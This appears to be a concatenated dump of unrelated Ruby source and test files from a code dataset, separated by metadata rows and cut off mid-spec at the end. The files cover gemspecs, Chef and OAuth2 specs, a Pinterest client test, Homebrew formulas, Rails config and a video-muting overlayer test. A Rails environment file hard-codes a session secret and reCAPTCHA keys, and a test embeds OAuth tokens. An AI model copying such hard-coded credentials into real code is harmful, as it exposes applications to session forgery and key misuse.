spec.test_files = spec.files.grep(%r{^(test|spec|features)/})
spec.require_paths = ["lib"]
spec.add_development_dependency "bundler", "~> 1.3"
spec.add_development_dependency "rake"
spec.add_development_dependency "rspec"
end
| 34.6 | 74 | 0.652023 |
bb42aaa1963f0dc906aaef506aabb643267d9506 | 1,071 | #
# Cookbook:: my_cookbook
# Spec:: default
#
# Copyright:: 2018, The Authors, All Rights Reserved.
require 'spec_helper'
describe 'my_cookbook::panrepodb002' do
context 'When all attributes are default, on Ubuntu 16.04' do
let(:chef_run) do
# for a complete list of available platforms and versions see:
# https://github.com/customink/fauxhai/blob/master/PLATFORMS.md
runner = ChefSpec::ServerRunner.new(platform: 'ubuntu', version: '16.04')
runner.converge(described_recipe)
end
it 'converges successfully' do
expect { chef_run }.to_not raise_error
end
end
context 'When all attributes are default, on CentOS 7.4.1708' do
let(:chef_run) do
# for a complete list of available platforms and versions see:
# https://github.com/customink/fauxhai/blob/master/PLATFORMS.md
runner = ChefSpec::ServerRunner.new(platform: 'centos', version: '7.4.1708')
runner.converge(described_recipe)
end
it 'converges successfully' do
expect { chef_run }.to_not raise_error
end
end
end
| 29.75 | 82 | 0.70028 |
110cc72296a6ec703451a0ec5501df170ae92d7f | 4,042 | #
# This file is part of the pinterest-ruby gem. Copyright (C) 2017 and above Shogun <[email protected]>.
# Licensed under the MIT license, which can be found at https://choosealicense.com/licenses/mit.
#
require "spec_helper"
describe Pinterest::Endpoints::Authentication, vcr: true do
subject {
Pinterest::Client.new(client_id: $pinterest_client_id, client_secret: $pinterest_client_secret)
}
context "#authorization_state" do
it "should return a string" do
expect(subject.authorization_state).to match(/^[a-f0-9]+$/)
end
end
context "#authorization_url" do
before(:each) do
allow(subject).to receive(:authorization_state).and_return("STATE")
end
it "should complain when mandatory arguments are missing" do
expect { Pinterest::Client.new.authorization_url }.to raise_error(ArgumentError, "You must specify the client_id.")
expect { subject.authorization_url }.to raise_error(ArgumentError, "You must specify the callback_url.")
expect { subject.authorization_url(1) }.to raise_error(ArgumentError, "callback_url must be a valid HTTPS URL.")
expect { subject.authorization_url("ABC") }.to raise_error(ArgumentError, "callback_url must be a valid HTTPS URL.")
expect { subject.authorization_url("http://google.it") }.to raise_error(ArgumentError, "callback_url must be a valid HTTPS URL.")
end
it "should return a valid URL requesting all scopes" do
expect(subject.authorization_url("https://localhost")).to eq(
"https://api.pinterest.com/oauth?authorization_state=STATE&client_id=#{$pinterest_client_id}&redirect_uri=https%3A%2F%2Flocalhost&response_type=code&scope=read_public%2Cwrite_public%2Cread_relationships%2Cwrite_relationships"
)
end
it "should return a valid URL requesting specified scopes and removing invalid ones" do
expect(subject.authorization_url("https://localhost", ["a", "read_public"])).to eq(
"https://api.pinterest.com/oauth?authorization_state=STATE&client_id=#{$pinterest_client_id}&redirect_uri=https%3A%2F%2Flocalhost&response_type=code&scope=read_public"
)
end
end
context "#fetch_access_token" do
it "should complain when mandatory arguments are missing" do
expect { Pinterest::Client.new.fetch_access_token("A") }.to raise_error(ArgumentError, "You must specify the client_id.")
expect { Pinterest::Client.new(client_id: $pinterest_client_id).fetch_access_token("A") }.to raise_error(ArgumentError, "You must specify the client_secret.")
expect { subject.fetch_access_token(nil) }.to raise_error(ArgumentError, "You must specify the authorization_token.")
end
it "should make the call to Pinterest and return the authorization token, also saving it" do
expect(subject.access_token).to be_nil
expect(subject.fetch_access_token("9568cec6cc78aa05")).to eq("AVP99QpzwII-f1I2p5gyHi8CiCeQFJkDr8dP-JpDs-LEtAAyegAAAAA")
expect(subject.access_token).to eq("AVP99QpzwII-f1I2p5gyHi8CiCeQFJkDr8dP-JpDs-LEtAAyegAAAAA")
end
end
context "#verify_access_token" do
it "should verify the token" do
subject.access_token = "AVP99QpzwII-f1I2p5gyHi8CiCeQFJkDr8dP-JpDs-LEtAAyegAAAAA"
expect(subject.verify_access_token).to eq({
application_id: $pinterest_client_id,
created_at: DateTime.civil(2017, 01, 12, 11, 44, 40),
scopes: ["read_public", "write_public", "read_relationships", "write_relationships"],
user_id: "559853934835925315"
})
end
it "should complain when no access token is set" do
expect { Pinterest::Client.new.fetch_access_token("A") }.to raise_error(ArgumentError, "You must specify the client_id.")
expect { subject.verify_access_token }.to raise_error(ArgumentError, "You must set the access token first.")
end
it "should return an exception when using an invalid token" do
subject.access_token = "A"
expect { subject.verify_access_token }.to raise_error(Pinterest::Errors::AuthorizationError)
end
end
end | 49.901235 | 233 | 0.739485 |
abc9f70f050350e477c6548c20e75d32ba2b34c0 | 600 | # frozen_string_literal: true
module Types
module Scalar
class CountryValue < Types::Base::BaseScalar
description <<~EOS
A country represented by a string that comes form `Country.value`
EOS
def self.coerce_input(input, _context)
if Rails.configuration.countries
.find_index { |country| country['value'] == input }.nil?
raise GraphQL::CoercionError, "#{input.inspect} is not a valid country"
else
input
end
end
def self.coerce_result(value, _context)
value
end
end
end
end
| 24 | 81 | 0.62 |
b91245b7d786542a7f106aba9aaff06354cf72cf | 1,358 | module Fog
module AWS
class DataPipeline
class Real
# Queries a pipeline for the names of objects that match a specified set of conditions.
# http://docs.aws.amazon.com/datapipeline/latest/APIReference/API_QueryObjects.html
# ==== Parameters
# * PipelineId <~String> - The ID of the pipeline
# * Sphere <~String> - Specifies whether the query applies to components or instances.
# Allowable values: COMPONENT, INSTANCE, ATTEMPT.
# * Marker <~String> - The starting point for the results to be returned.
# ==== Returns
# * response<~Excon::Response>:
# * body<~Hash>:
def query_objects(id, sphere, options={})
params = {
'pipelineId' => id,
'sphere' => sphere,
}
params['marker'] = options[:marker] if options[:marker]
response = request({
:body => Fog::JSON.encode(params),
:headers => { 'X-Amz-Target' => 'DataPipeline.QueryObjects' },
})
end
end
class Mock
def query_objects(id, sphere, options={})
response = Excon::Response.new
find_pipeline(id)
response.body = {"hasMoreResults" => false, "ids" => ["Default"]}
response
end
end
end
end
end
| 32.333333 | 95 | 0.553019 |
08bf3c38f041492ebf3dfada2d904bb1fab40bb4 | 1,311 | require "formula"
class Hadoop < Formula
homepage "http://hadoop.apache.org/"
url "http://www.apache.org/dyn/closer.cgi?path=hadoop/common/hadoop-2.5.0/hadoop-2.5.0.tar.gz"
sha1 "de15a14ed4c0cc31ed80e6f5c9f0fd923faf75bb"
def install
rm_f Dir["bin/*.cmd", "sbin/*.cmd", "libexec/*.cmd", "etc/hadoop/*.cmd"]
libexec.install %w[bin sbin libexec share etc]
bin.write_exec_script Dir["#{libexec}/bin/*"]
sbin.write_exec_script Dir["#{libexec}/sbin/*"]
# But don't make rcc visible, it conflicts with Qt
(bin/"rcc").unlink
inreplace "#{libexec}/etc/hadoop/hadoop-env.sh",
"export JAVA_HOME=${JAVA_HOME}",
"export JAVA_HOME=\"$(/usr/libexec/java_home)\""
inreplace "#{libexec}/etc/hadoop/yarn-env.sh",
"# export JAVA_HOME=/home/y/libexec/jdk1.6.0/",
"export JAVA_HOME=\"$(/usr/libexec/java_home)\""
inreplace "#{libexec}/etc/hadoop/mapred-env.sh",
"# export JAVA_HOME=/home/y/libexec/jdk1.6.0/",
"export JAVA_HOME=\"$(/usr/libexec/java_home)\""
end
def caveats; <<-EOS.undent
In Hadoop's config file:
#{libexec}/etc/hadoop/hadoop-env.sh,
#{libexec}/etc/hadoop/mapred-env.sh and
#{libexec}/etc/hadoop/yarn-env.sh
$JAVA_HOME has been set to be the output of:
/usr/libexec/java_home
EOS
end
end
| 35.432432 | 96 | 0.658276 |
79ff91c7450819058e8256f1687af78774e7b7b4 | 226 | require File.join(File.dirname(__FILE__), '..', 'spec_helper.rb')
describe "Comments Controller", "index action" do
before(:each) do
@controller = Comments.build(fake_request)
@controller.dispatch('index')
end
end | 28.25 | 65 | 0.716814 |
035a51309f6f3f13af37d31e9b5aaf4010404a5f | 980 | def concatenate_example(string)
# use concatenation to format the result to be "Classic <string>"
"Classic " << string
end
def concatenate(string)
# use concatenation to format the result to be "Hello <string>!"
"Hello #{string}!"
end
def substrings(word)
# return the first 4 letters from the word using substrings
word[0..3]
end
def capitalize(word)
# capitalize the first letter of the word
word.capitalize
end
def uppercase(string)
# uppercase all letters in the string
string.upcase
end
def downcase(string)
# downcase all letters in the string
string.downcase
end
def empty_string(string)
# return true if the string is empty
string.empty?
end
def string_length(string)
# return the length of the string
string.length
end
def reverse(string)
# return the same string, with all of its characters reversed
string.reverse
end
def space_remover(string)
# remove all the spaces in the string using gsub
string.gsub(" ", "")
end
| 19.6 | 67 | 0.737755 |
3838928a5c2c77009cfc9b9bf6119eb2d1def3c4 | 7,772 | require 'spec_helper'
describe Songkick::OAuth2::Model::Authorization do
let(:client) { Factory :client }
let(:impostor) { Factory :client }
let(:owner) { Factory :owner }
let(:user) { Factory :owner }
let(:tester) { Factory(:owner) }
let(:authorization) do
create_authorization(:owner => tester, :client => client)
end
it "is vaid" do
authorization.should be_valid
end
it "is not valid without a client" do
authorization.client = nil
authorization.should_not be_valid
end
it "is not valid without an owner" do
authorization.owner = nil
authorization.should_not be_valid
end
describe "when there are existing authorizations" do
before do
create_authorization(
:owner => user,
:client => impostor,
:access_token => 'existing_access_token')
create_authorization(
:owner => user,
:client => client,
:code => 'existing_code')
create_authorization(
:owner => owner,
:client => client,
:refresh_token => 'existing_refresh_token')
end
it "is valid if its access_token is unique" do
authorization.should be_valid
end
it "is valid if both access_tokens are nil" do
Songkick::OAuth2::Model::Authorization.first.update_attribute(:access_token, nil)
authorization.access_token = nil
authorization.should be_valid
end
it "is not valid if its access_token is not unique" do
authorization.access_token = 'existing_access_token'
authorization.should_not be_valid
end
it "is valid if it has a unique code for its client" do
authorization.client = impostor
authorization.code = 'existing_code'
authorization.should be_valid
end
it "is not valid if it does not have a unique client and code" do
authorization.code = 'existing_code'
authorization.should_not be_valid
end
it "is valid if it has a unique refresh_token for its client" do
authorization.client = impostor
authorization.refresh_token = 'existing_refresh_token'
authorization.should be_valid
end
it "is not valid if it does not have a unique client and refresh_token" do
authorization.refresh_token = 'existing_refresh_token'
authorization.should_not be_valid
end
describe ".create_code" do
before { Songkick::OAuth2.stub(:random_string).and_return('existing_code', 'new_code') }
it "returns the first code the client has not used" do
Songkick::OAuth2::Model::Authorization.create_code(client).should == 'new_code'
end
it "returns the first code another client has not used" do
Songkick::OAuth2::Model::Authorization.create_code(impostor).should == 'existing_code'
end
end
describe ".create_access_token" do
before { Songkick::OAuth2.stub(:random_string).and_return('existing_access_token', 'new_access_token') }
it "returns the first unused token it can find" do
Songkick::OAuth2::Model::Authorization.create_access_token.should == 'new_access_token'
end
end
describe ".create_refresh_token" do
before { Songkick::OAuth2.stub(:random_string).and_return('existing_refresh_token', 'new_refresh_token') }
it "returns the first refresh_token the client has not used" do
Songkick::OAuth2::Model::Authorization.create_refresh_token(client).should == 'new_refresh_token'
end
it "returns the first refresh_token another client has not used" do
Songkick::OAuth2::Model::Authorization.create_refresh_token(impostor).should == 'existing_refresh_token'
end
end
describe "duplicate records" do
it "raises an error if a duplicate authorization is created" do
lambda {
authorization = Songkick::OAuth2::Model::Authorization.__send__(:new)
authorization.owner = user
authorization.client = client
authorization.save
}.should raise_error
end
it "finds an existing record after a race" do
user.stub(:oauth2_authorization_for) do
user.unstub(:oauth2_authorization_for)
raise TypeError, 'Mysql::Error: Duplicate entry'
end
authorization = Songkick::OAuth2::Model::Authorization.for(user, client)
authorization.owner.should == user
authorization.client.should == client
end
end
end
describe "#exchange!" do
it "saves the record" do
authorization.should_receive(:save!)
authorization.exchange!
end
it "uses its helpers to find unique tokens" do
Songkick::OAuth2::Model::Authorization.should_receive(:create_access_token).and_return('access_token')
authorization.exchange!
authorization.access_token.should == 'access_token'
end
it "updates the tokens correctly" do
authorization.exchange!
authorization.should be_valid
authorization.code.should be_nil
authorization.refresh_token.should be_nil
end
end
describe "#expired?" do
it "returns false when not expiry is set" do
authorization.should_not be_expired
end
it "returns false when expiry is in the future" do
authorization.expires_at = 2.days.from_now
authorization.should_not be_expired
end
it "returns true when expiry is in the past" do
authorization.expires_at = 2.days.ago
authorization.should be_expired
end
end
describe "#grants_access?" do
it "returns true given the right user" do
authorization.grants_access?(tester).should be_true
end
it "returns false given the wrong user" do
authorization.grants_access?(user).should be_false
end
describe "when the authorization is expired" do
before { authorization.expires_at = 2.days.ago }
it "returns false in all cases" do
authorization.grants_access?(tester).should be_false
authorization.grants_access?(user).should be_false
end
end
end
describe "with a scope" do
before { authorization.scope = 'foo bar' }
describe "#in_scope?" do
it "returns true for authorized scopes" do
authorization.should be_in_scope('foo')
authorization.should be_in_scope('bar')
end
it "returns false for unauthorized scopes" do
authorization.should_not be_in_scope('qux')
authorization.should_not be_in_scope('fo')
end
end
describe "#grants_access?" do
it "returns true given the right user and all authorization scopes" do
authorization.grants_access?(tester, 'foo', 'bar').should be_true
end
it "returns true given the right user and some authorization scopes" do
authorization.grants_access?(tester, 'bar').should be_true
end
it "returns false given the right user and some unauthorization scopes" do
authorization.grants_access?(tester, 'foo', 'bar', 'qux').should be_false
end
it "returns false given an unauthorized scope" do
authorization.grants_access?(tester, 'qux').should be_false
end
it "returns true given the right user" do
authorization.grants_access?(tester).should be_true
end
it "returns false given the wrong user" do
authorization.grants_access?(user).should be_false
end
it "returns false given the wrong user and an authorized scope" do
authorization.grants_access?(user, 'foo').should be_false
end
end
end
end
| 32.518828 | 112 | 0.663922 |
18566c1aaeecc30ec9073be46f2286e285784f84 | 1,274 | # coding: utf-8
lib = File.expand_path('../lib', __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
Gem::Specification.new do |spec|
spec.name = 'capistrano-docker-copy'
spec.version = '0.1.1'
spec.authors = ['Yann Lugrin']
spec.email = ['[email protected]']
spec.summary = %q{Capistrano copy strategy from insider a docker image.}
spec.homepage = 'https://github.com/yalty/capistrano-docker-copy'
spec.license = 'MIT'
# Prevent pushing this gem to RubyGems.org. To allow pushes either set the 'allowed_push_host'
# to allow pushing to a single host or delete this section to allow pushing to any host.
if spec.respond_to?(:metadata)
spec.metadata['allowed_push_host'] = "TODO: Set to 'http://mygemserver.com'"
else
raise "RubyGems 2.0 or newer is required to protect against " \
"public gem pushes."
end
spec.files = `git ls-files -z`.split("\x0").reject do |f|
f.match(%r{^(test|spec|features)/})
end
spec.require_paths = ['lib']
spec.add_development_dependency 'bundler', '~> 1.13'
spec.add_development_dependency 'rake', '~> 10.0'
spec.add_development_dependency 'rspec', '~> 3.0'
spec.add_dependency 'capistrano', '~> 3.7'
end
| 36.4 | 96 | 0.661695 |
bf7ac343386a3e3a69ea556d4c03f0d9c72adf9d | 804 | # == Schema Information
#
# Table name: paypal_accounts
#
# id :integer not null, primary key
# person_id :string(255)
# community_id :integer
# email :string(255)
# payer_id :string(255)
# created_at :datetime not null
# updated_at :datetime not null
# active :boolean default(FALSE)
#
# Indexes
#
# index_paypal_accounts_on_community_id (community_id)
# index_paypal_accounts_on_payer_id (payer_id)
# index_paypal_accounts_on_person_id (person_id)
#
class PaypalAccount < ActiveRecord::Base
attr_accessible :email, :payer_id, :person_id, :community_id, :active
belongs_to :person
belongs_to :community
has_one :order_permission, dependent: :destroy
has_one :billing_agreement, dependent: :destroy
end
| 27.724138 | 71 | 0.691542 |
3925ad55606b076b9f1dd2b802935340501d9669 | 1,752 | require 'administrate/base_dashboard'
class AttachmentDashboard < Administrate::BaseDashboard
# ATTRIBUTE_TYPES
# a hash that describes the type of each of the model's fields.
#
# Each different type represents an Administrate::Field object,
# which determines how the attribute is displayed
# on pages throughout the dashboard.
ATTRIBUTE_TYPES = {
opportunity: Field::BelongsTo,
id: Field::Number,
upload: Field::String,
content_type: Field::String,
file_size_bytes: Field::Number,
has_thumbnail: Field::Boolean,
deleted_at: Field::DateTime,
created_at: Field::DateTime,
updated_at: Field::DateTime
}.freeze
# COLLECTION_ATTRIBUTES
# an array of attributes that will be displayed on the model's index page.
#
# By default, it's limited to four items to reduce clutter on index pages.
# Feel free to add, remove, or rearrange items.
COLLECTION_ATTRIBUTES = [
:opportunity,
:id,
:upload,
:content_type
].freeze
# SHOW_PAGE_ATTRIBUTES
# an array of attributes that will be displayed on the model's show page.
SHOW_PAGE_ATTRIBUTES = [
:opportunity,
:id,
:upload,
:content_type,
:file_size_bytes,
:has_thumbnail,
:deleted_at,
:created_at,
:updated_at
].freeze
# FORM_ATTRIBUTES
# an array of attributes that will be displayed
# on the model's form (`new` and `edit`) pages.
FORM_ATTRIBUTES = [
:opportunity,
:upload,
:content_type,
:file_size_bytes,
:has_thumbnail,
:deleted_at
].freeze
# Overwrite this method to customize how attachments are displayed
# across all pages of the admin dashboard.
#
# def display_resource(attachment)
# "Attachment ##{attachment.id}"
# end
end
| 26.149254 | 76 | 0.69863 |
33c9f3323637e09b0f914580db0a5a9023d143d1 | 467 | require 'formula'
class Lpc21isp < Formula
homepage 'http://lpc21isp.sourceforge.net/'
url 'http://downloads.sourceforge.net/project/lpc21isp/lpc21isp/1.85/lpc21isp_185.tar.gz'
sha1 '5548874c88b0b34c253e12a36f3df04c8768309e'
version '1.85'
def install
# Can't statically link on OSX, so we'll remove that from the Makefile
inreplace 'Makefile', "CFLAGS += -Wall -static", "CFLAGS += -Wall"
system "make"
bin.install ["lpc21isp"]
end
end
| 29.1875 | 91 | 0.719486 |
bb5a9728a8b5060f94ba2c3fdd35e6cb9fa09197 | 1,174 | # Be sure to restart your server when you modify this file
# Uncomment below to force Rails into production mode when
# you don't control web/app server and can't set it the proper way
# ENV['RAILS_ENV'] ||= 'production'
# Specifies gem version of Rails to use when vendor/rails is not present
RAILS_GEM_VERSION = '2.3.5' unless defined? RAILS_GEM_VERSION
ADMIN_EMAIL = "[email protected]"
# Bootstrap the Rails environment, frameworks, and default configuration
require File.join(File.dirname(__FILE__), 'boot')
Rails::Initializer.run do |config|
# Due to a strange dependency issue between geminstaller, geokit, and the
# geokit-rails plugin, this is necessary to load geokit before geokit-rails
# gets called.
require 'geokit'
config.action_controller.session = {
:session_key => '_promote_go_session',
:secret => '79b62020b1e3a09609f4014cd4ad0b91ee4d2dafa9cd5057f8a952e70aaf4389da743f193c2aaac3b983939210720303d31b02ee2abc0b22b434b92568e6e05d'
}
end
I18n.default_locale = :'en-US'
ENV['RECAPTCHA_PUBLIC_KEY'] = '6Ldu-AIAAAAAAG7LIohw_Gx3HoB7aWL3a_k9jNpS'
ENV['RECAPTCHA_PRIVATE_KEY'] = '6Ldu-AIAAAAAALXrp6fSj3VOs6rk_FEln-ZTl33O'
| 37.870968 | 150 | 0.782794 |
f8494c5fad31735ebfae6f5bd9eff883f559158d | 1,114 | require File.expand_path('../boot', __FILE__)
require 'rails/all'
# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(*Rails.groups)
module Destiny
class Application < Rails::Application
# Settings in config/environments/* take precedence over those specified here.
# Application configuration should go into files in config/initializers
# -- all .rb files in that directory are automatically loaded.
# Set Time.zone default to the specified zone and make Active Record auto-convert to this zone.
# Run "rake -D time" for a list of tasks for finding time zone names. Default is UTC.
# config.time_zone = 'Central Time (US & Canada)'
# The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.
# config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s]
# config.i18n.default_locale = :de
# Do not swallow errors in after_commit/after_rollback callbacks.
config.active_record.raise_in_transactional_callbacks = true
end
end
| 41.259259 | 99 | 0.733393 |
38a63761ab6534579d48be0375bec4fa27a896ee | 509 | module TransactionDesk
class TransactionStatusMapping
include Kartograph::DSL
kartograph do
mapping TransactionStatus
scoped :read do
property :id
property :name
property :owner_id, key: 'ownerId'
property :date_created, key: 'dateCreated'
property :last_modified, key: 'lastModified'
end
scoped :create, :update do
property :name
end
scoped :created do
property :id
end
end
end
end
| 18.178571 | 52 | 0.611002 |
62388182369d3e95cb976e7b4f6061c22b62fbdd | 1,783 | # list 100 active students - starting with the second 100 kids
page_number = 2
api_path = "/ws/v1/district/student"
options = { query: { "q"=>"school_enrollment.enroll_status==a",
"pagesize"=>"100",
"page"=> "#{page_number}" } }
kids = ps.run( command: :get, api_path: api_path, options: options )
# get all active students with last_name starting with B
api_path = "/ws/v1/district/student"
options = { query: { "q" => "name.last_name==B*;school_enrollment.enroll_status_code==0" } }
kids = ps.run( command: :get, api_path: api_path, options: options )
api_path = "/ws/v1/district/student"
option = { query: {
"extensions" => "s_stu_crdc_x,activities,c_studentlocator,u_students_extension,u_studentsuserfields,s_stu_ncea_x,s_stu_edfi_x,studentcorefields",
"expansions" => "demographics,addresses,alerts,phones,school_enrollment,ethnicity_race,contact,contact_info,initial_enrollment,schedule_setup,fees,lunch",
"q" => "student_username==user*;name.last_name==B*"
}
}
kids = ps.run( command: :get, api_path: api_path, options: options )
# get all details and database extension data on one kid (need to use the DCID)
api_path = "/ws/v1/student/5122"
option = { query: {
"extensions" => "s_stu_crdc_x,activities,c_studentlocator,u_students_extension,u_studentsuserfields,s_stu_ncea_x,s_stu_edfi_x,studentcorefields",
"expansions" => "demographics,addresses,alerts,phones,school_enrollment,ethnicity_race,contact,contact_info,initial_enrollment,schedule_setup,fees,lunch"
}
}
one = ps.run(command: :get, api_path: api_path )
| 49.527778 | 176 | 0.655637 |
010e29c463c6517758932b29ec2c84a494400f93 | 814 | # frozen_string_literal: true
module EE
module Ci
module PipelinePresenter
extend ActiveSupport::Concern
extend ::Gitlab::Utils::DelegatorOverride
def expose_security_dashboard?
return false unless can?(current_user, :read_security_resource, pipeline.project)
batch_lookup_report_artifact_for_file_types(Ci::JobArtifact::SECURITY_REPORT_FILE_TYPES.map(&:to_sym)).present?
end
def degradation_threshold(file_type)
if (job_artifact = batch_lookup_report_artifact_for_file_type(file_type)) &&
can?(current_user, :read_build, job_artifact.job)
job_artifact.job.degradation_threshold
end
end
delegator_override :retryable?
def retryable?
!merge_train_pipeline? && super
end
end
end
end
| 28.068966 | 119 | 0.710074 |
3956ea3b4602a1c5352163ec00270be79a66449c | 1,713 | require 'rake'
module Hanami
# Install Rake tasks in projects
#
# @since 0.6.0
# @api private
class RakeHelper
include Rake::DSL
# @since 0.6.0
# @api private
def self.install_tasks
new.install
end
# @since 0.6.0
# @api private
def install
desc "Preload project configuration"
task :preload do
require 'hanami/environment'
Hanami::Environment.new
end
desc "Load the full project"
task environment: :preload do
require Hanami::Environment.new.env_config
Hanami::Application.preload_applications!
end
# Ruby ecosystem compatibility
#
# Most of the SaaS automatic tasks are designed after Ruby on Rails.
# They expect the following Rake tasks to be present:
#
# * db:migrate
# * assets:precompile
#
# See https://github.com/heroku/heroku-buildpack-ruby/issues/442
#
# ===
#
# These Rake tasks aren't listed when someone runs `rake -T`, because we
# want to encourage developers to use `hanami` commands.
#
# In order to migrate the database or precompile assets a developer should
# use:
#
# * hanami db migrate
# * hanami assets precompile
#
# This is the preferred way to run Hanami command line tasks.
# Please use them when you're in control of your deployment environment.
namespace :db do
task :migrate do
system "bundle exec hanami db migrate"
end
end
namespace :assets do
task :precompile do
system "bundle exec hanami assets precompile"
end
end
end
end
end
| 24.826087 | 80 | 0.607706 |
6a9778f9214953b020312080b26de97d2076f496 | 81 | module JRubyFX
# Current gem version. Used in rake task.
VERSION='2.0.0'
end
| 16.2 | 43 | 0.703704 |
abf7ecea5883089da7e8514757353ebaf3d3e9a5 | 9,698 | =begin
Copyright 2010, Roger Pack
This file is part of Sensible Cinema.
Sensible Cinema is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Sensible Cinema is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Sensible Cinema. If not, see <http://www.gnu.org/licenses/>.
=end
require File.expand_path(File.dirname(__FILE__) + '/common')
require_relative '../lib/overlayer'
$AM_IN_UNIT_TEST = true
def assert_not_blank
assert [email protected]?
end
def assert_blank
assert @o.blank?
end
def new_raw ruby_hash
File.write 'temp.json', JSON.dump(ruby_hash)
OverLayer.new('temp.json')
end
describe OverLayer do
before do
File.write 'temp.json', JSON.dump({:mutes => {2.0 => 4.0}} )
@o = OverLayer.new('temp.json')
Blanker.warmup
end
after do
# sometimes blocks on some cruppy UI threds
# Thread.join_all_others
# @o.kill_thread! # ??
File.delete 'temp.json'
Blanker.shutdown
end
def assert_not_muted_sleep_1
assert [email protected]?
sleep 1
end
def assert_muted_sleep_1
assert @o.muted?
sleep 1
end
it 'should be able to mute' do
# several combinations...
assert [email protected]?
@o.mute!
assert @o.muted?
@o.unmute!
assert [email protected]?
@o.mute!
assert @o.muted?
end
it 'should mute based on time' do
@o.start_thread
assert [email protected]?
# make sure we enter the mute section, 2-4
sleep 2.5
assert_muted_sleep_1 # sleeps 1
sleep 1.0
assert_not_muted_sleep_1
end
it 'should unmute after the ending scene, and also be able to go past the end of scenes at all' do
File.write 'temp.json', JSON.dump({:mutes => {0.5 => 1.0}})
@o = OverLayer.new 'temp.json'
@o.start_thread true
begin
# make sure we enter the mute section
sleep 0.75
assert_muted_sleep_1 # sleeps 1
assert_not_muted_sleep_1
assert_not_muted_sleep_1
ensure
@o.kill_thread!
end
end
it 'should handle multiple mutes in a row' do
File.write 'temp.json', JSON.dump({:mutes => {2.0 => 4.0, 5.0 => 7.0}})
@o = OverLayer.new 'temp.json'
@o.start_thread
sleep 2.5
assert_muted_sleep_1 # 1s
sleep 2 # => 5.5
assert_muted_sleep_1 # unfortunately this doesn't actually reproduce the bug,
# which is that it actually needs to barely "over sleep" or there is the race condition of
# wake up oh nothing to do *just* yet
# but by the time you check again, you just passed it, so you wait till the next one in an errant state
end
it 'should be able to mute teeny timed sequences' do
# it once failed on this...
File.write 'temp.json', JSON.dump({:mutes => {0.0001 => 0.0002, 1.0 => 1.0001}})
o = OverLayer.new 'temp.json'
o.continue_until_past_all false
end
it 'should allow you to change the current time' do
@o.start_thread
sleep 0.1 # wow ruby is slow...
assert @o.cur_time > 0
@o.set_seconds 5
sleep 0.1
assert @o.cur_time > 5
end
it 'should allow for json input and parse it appropo' do
# 2 - 3 , 4-5 should be muted
@o = OverLayer.new 'test_json.json'
@o.start_thread
assert_not_muted_sleep_1 # takes 1s
sleep 1.25
assert_muted_sleep_1
assert_not_muted_sleep_1
assert_muted_sleep_1
assert_not_muted_sleep_1
end
def dump_json to_dump
File.write 'temp.json', JSON.dump(to_dump)
@o = OverLayer.new 'temp.json'
end
def write_single_mute_reset(start, endy)
File.write 'temp.json', single_mute_to_json(start, endy)
@o = OverLayer.new 'temp.json'
end
def single_mute_to_json start, endy
"{\"mutes\":[[\"#{start}\",\"#{endy}\"]],\"skips\":[]}"
end
it 'should allow for 1:00.0 minute style input' do
write_single_mute_reset("0:02.0", "0:03.0")
@o.start_thread
assert_not_muted_sleep_1
assert_not_muted_sleep_1
sleep 0.25
assert_muted_sleep_1
assert_not_muted_sleep_1
end
it "should reload the JSON file on the fly to allow for editing it" do
# start it with one set to mute far later
write_single_mute_reset("0:11.0", "0:12.0")
@o.start_thread
assert_not_muted_sleep_1
File.write('temp.json', single_mute_to_json("0:00.0001", "0:01.5"))
@o.status # cause it to refresh from the file
sleep 0.1 # blugh avoid race condition since we use notify, let the message be received...
puts 'current state', @o.get_current_state, @o.status
# now it's 1.1 so should be muted
assert_muted_sleep_1
# now its 2.1 so should not be muted
assert_not_muted_sleep_1
end
it "should not accept any of the input when you pass it any poor json" do
write_single_mute_reset("a", "08:56.0") # first one is invalid
out = OverLayer.new 'temp.json' # so I can call reload
out.all_sequences[:mutes].should be_blank
write_single_mute_reset("01", "02")
out.reload_json!
out.all_sequences[:mutes].should == [[1,2]]
write_single_mute_reset("05", "") # failure on second
# should have kept the old
out.all_sequences[:mutes].should == [[1,2]]
end
it "should not accept any zero start input" do
dump_json({:mutes => {0=> 1, 2.0 => 4.0}}) # we don't like zeroes...for now at least, as they can mean parsing failure...
out = OverLayer.parse_from_json_string File.read("temp.json")
out[:mutes].should == [[3,4]]
end
it "should disallow zero or less length intervals" do
write_single_mute_reset('1', '1')
out = OverLayer.parse_from_json_string File.read("temp.json")
out[:mutes].should == []
end
it "should sort json input" do
dump_json({:mutes => {3=> 4, 1 => 2}})
out = OverLayer.parse_from_json_string File.red("temp.json")
out[:mutes].should == [[1,2], [3,4]]
end
it "should accept numbers that are unreasonably large" do
write_single_mute_reset "1000000", "1000001"
out = OverLayer.parse_from_json_string File.read("temp.json")
out[:mutes].should == [[1_000_000, 1_000_001]]
end
it 'should reject overlapping settings...maybe?' # actually I'm thinking respect as long as they're not the same types...this should be done on the server anyway :|
it "should be able to handle it when the sync message includes a new timestamp" do
@o.start_thread
@o.timestamp_changed "1:00:01", 0
@o.cur_time.should be > 60*60
@o.timestamp_changed "0:00:01", 0
@o.cur_time.should be < 60*60
end
it "should handle deltas to input timestamps" do
@o.start_thread
@o.timestamp_changed "1:00:00", 1
@o.cur_time.should be >= 60*60 + 1
end
context "should handle blanks, too" do
it "should be able to discover next states well" do
for type in [:blank_outs, :mutes] do
@o = new_raw({type => {2.0 => 4.0}})
@o.get_next_edit_for_type(type, 3).should == [2.0, 4.0, true]
@o.get_next_edit_for_type(type, 0.5).should == [2.0, 4.0, false]
@o.get_next_edit_for_type(type, 5).should == [nil, nil, :done]
@o.get_next_edit_for_type(type, 2.0).should == [2.0, 4.0, true]
@o.get_next_edit_for_type(type, 4.0).should == [nil, nil, :done]
end
end
context "with a list of blanks" do
it "should allow for blanks" do
@o = new_raw({:blank_outs => {2.0 => 4.0}})
@o.start_thread
assert_not_blank
sleep 1
assert_not_blank
sleep 1.1
assert_blank
sleep 2
assert_not_blank
end
end
def at time
@o.stub!(:cur_time) {
time
}
yield
end
